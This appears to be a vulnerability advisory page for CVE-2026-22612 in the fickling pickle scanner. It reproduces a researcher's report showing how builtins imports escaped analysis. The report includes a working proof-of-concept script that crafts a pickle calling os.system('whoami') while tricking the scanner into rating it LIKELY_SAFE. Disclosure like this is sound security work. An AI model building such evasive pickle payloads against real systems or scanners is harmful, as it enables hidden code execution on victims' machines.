🛡️ CVE-2026-22612 — fickling

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-502 OSV
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Fickling vulnerable to detection bypass due to "builtins" blindness

#Fickling's assessment

Fickling started emitting AST nodes for builtins imports in order to match them during analysis (https://github.com/trailofbits/fickling/commit/9f309ab834797f280cb5143a2f6f987579fa7cdf).

# Original report

Summary

Fickling works by

Pickle bytecode --> AST --> Security analysis

However while going from bytecode to AST, some import nodes are removed which blinds the security analysis

fickling/fickling/fickle.py

```python

def run(self, interpreter: Interpreter):

module, attr = self.module, self.attr

if module in ("__builtin__", "__builtins__", "builtins"):

# no need to emit an import for builtins!

pass

else:

alias = ast.alias(attr)

interpreter.module_body.append(ast.ImportFrom(module=module, names=[alias], level=0))

interpreter.stack.append(ast.Name(attr, ast.Load()))

def encode(self) -> bytes:

return f"c{self.module}\n{self.attr}\n".encode()

```

Here we see that no import nodes are emitted for builtins

However builtins is marked as an unsafe import

fickling/fickling/analysis.py

```python

UNSAFE_MODULES = {

"__builtin__": "This module contains dangerous functions that can execute arbitrary code.",

"__builtins__": "This module contains dangerous functions that can execute arbitrary code.",

"builtins": "This module contains dangerous functions that can execute arbitrary code.",

```

But because there are no import nodes for builtins (they werent emitted when making the AST), the security scanner is effectively blind.

This can allow for security bypasses like this

poc.py (script to create payload)

```python

import os

GLOBAL = b'c' # Import module.name

STRING = b'S' # Push string

TUPLE1 = b'\x85' # Build tuple of 1

TUPLE2 = b'\x86' # Build tuple of 2

EMPTY_TUPLE = b')'

REDUCE = b'R' # Call function

PUT = b'p' # Memoize (Variable assignment)

GET = b'g' # Load from memo (Variable usage)

POP = b'0' # Discard top of stack

EMPTY_DICT = b'}'

SETITEM = b's' # Add key/value to dict

BUILD = b'b' # Update object state (Liveness satisfy)

STOP = b'.' # Finish and return stack top

def generate_raw_payload():

payload = b""

payload += GLOBAL + b"builtins\n__import__\n"

payload += STRING + b"'os'\n"

payload += TUPLE1 + REDUCE

payload += PUT + b"0\n" # _var0 = os module

payload += POP

payload += GLOBAL + b"builtins\ngetattr\n"

payload += GET + b"0\n" # os module

payload += STRING + b"'system'\n"

payload += TUPLE2 + REDUCE

payload += PUT + b"1\n" # _var1 = os.system

payload += POP

payload += GET + b"1\n" # os.system

payload += STRING + b"'whoami'\n" # COMMAND

payload += TUPLE1 + REDUCE

payload += PUT + b"2\n"

payload += POP

payload += GLOBAL + b"builtins\nException\n"

payload += EMPTY_TUPLE + REDUCE

payload += PUT + b"3\n"

payload += EMPTY_DICT

payload += STRING + b"'rce_status'\n"

payload += GET + b"2\n"

payload += SETITEM

payload += BUILD

payload += STOP

return payload

if __name__ == "__main__":

data = generate_raw_payload()

with open("raw_bypass.pkl", "wb") as f:

f.write(data)

print("Generated 'raw_bypass.pkl'")

```

This creates a pickle file which imports the OS module using __import__ which is a part of builtins. if the security scanner wasnt blinded it would have been flagged immidiately.

However now fickling sees the pickle payload as

```python

_var0 = __import__('os')

_var1 = getattr(_var0, 'system')

_var2 = _var1('whoami')

_var3 = Exception()

_var4 = _var3

_var4.__setstate__({'rce_status': _var2})

result0 = _var4

```

<img width="810" height="182" alt="image" src="https://github.com/user-attachments/assets/5bfe8c34-7bc0-429f-83ce-d0c2f1928aca" />

As you can see there is no mention of builtins anywhere so it isnt flagged

Additionally, the payload builder uses a technique to ensure that no variable get flagged as "UNUSED"

We deceive the data flow analysis heuristic by using the BUILD opcode to update an objects internal state.

By taking the result of os.system (the exit code) and using it as a value in a dictionary that is then "built" into a returned exception object, we create a logical dependency chain.

The end result is that the malicious pickle gets classified as LIKELY_SAFE

Fixes:

Ensure that import objects are emitted for imports from builtins depending on what those imports are, say emit import nodes for dangerous functions like ``__import__` while not emitting for stuff like `dict()``

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. Rated impact: confidentiality high, integrity high, availability high.

Weakness class

CVE-2026-22612 is classified as CWE-502: Deserialization of Untrusted Data. Serialised data from an untrusted source is reconstructed into objects, which can trigger code during the process.

Affected software

CVE-2026-22612 is recorded against 1 package.

  • fickling (fixed in 0.1.7)

Timeline and source

Published on 9 January 2026 and last revised on 7 July 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from OSV.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Web)
github.com (Package)
github.com (Web)
github.com (Web)

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
CWE CWE-502
Public Exploit ✅ No
Source OSV
Published 2026-01-09
Updated 2026-08-12
Modified 2026-07-07

Affected Packages

Software From version Fixed in
fickling 0.1.7

Site Security Check

Is fickling part of your stack?

CVE-2026-22612 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.